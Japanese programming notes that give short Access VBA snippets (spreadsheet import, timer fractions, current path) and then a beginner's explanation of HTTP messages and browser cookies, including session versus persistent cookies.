DoCmd.TransferSpreadsheet acImport, , "商品管理テーブル", "K:\Access_Excel VBA Tips\Accessに追加用商品管理データ.xlsx", True
```

##ミリ秒を取得

```
    'ミリ秒を取得
    Dim dblTimer As Double

    dblTimer = CDbl(Timer)
    getMSec = Fix((dblTimer - Fix(dblTimer)) * 100)

```
##カレントディレクトリ
```
        Dim current_path As String
        current_path = Application.CurrentProject.Path
```
Cookieについて小学生でもわかるように説明してみた

## 前提知識1:HTTPとは?
ホームページ(Webブラウザを起動して最初に表示されるページ)を見るときの使うルールの1つ。
ホームページのファイルとかを受け渡しするときに使うルールです。これが俗にいう通信プロトコルです。
プロトコルを日本人に例えると「会話する時は日本語使いましょう」みたいな感じ。
いきなり宇宙語で話されても99%の人が理解できないですよね?
会話1つとってもルールが自然と出来上がるものです
![スクリーンショット 2020-11-02 23.06.28（2）.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840696/dbe002cd-99df-93a3-ad2f-e2fe04f8a683.png)

## 前提知識2:HTTPは何をやってくれてるの?
HTTPをやり取りするにあたってwebブラウザ(Chromeなど)とwebサーバー(サービス提供側)でやり取りするのが**HTTPメッセージ**についてと呼ばれる形。
これを利用する事でwebブラウザがどういうデータが欲しいのかという要求をwebサーバーに伝える事が出来て、
WebサーバーもHTTPメッセージを利用してwebブラウザの要求に応えることができます。

- webブラウザからの要求である**HTTPリクエスト**
- webサーバーからの応答である**HTTPレスポンス**

の2種類が存在します。
![スクリーンショット 2020-11-05 9.09.35（2）.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840696/88268f2b-0ef3-7e93-7a7a-6f8f13de3a3b.png)


## Cookie(クッキー)とは？
Webページユーザーの機器(PCやスマホ)の中に保存される情報。
IDとパスワードを入力して一度ログインしたサイトにしばらくしてからもう一度アクセスするとIDとパスワードを入力しないでも、アクセスできるのも、ショッピングサイトにアクセスしたら、カートの中の品物が消えずにしっかり残っているのもクッキーのおかげだ。


##Cookieはどうやって使っているの?
Cookieの送信にはサーバー(サービス提供側)からのHTTPレスポンス(応答)の時にCookieを送信する。
![スクリーンショット 2020-11-10 22.08.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840696/275cbe02-22bf-5245-13c5-949e0deea3de.png)


##Cookieの種類に関して
有効期限が設定されていないCookieはwebブラウザ(chrome)を閉じると削除されます。
つまりもう一度ログインなどの情報を入力しなければなりません。
これを**セッションCookie**と言います。
有効期限が設定されたCookieも存在します。
webブラウザ(chrome)を閉じても削除されず、有効期限が来るまで残り続けます。Cookieは悪い人に盗まれると他人になりすましされる事があるためセキュリティ上の観点からセッションCookieの方がよく使われます。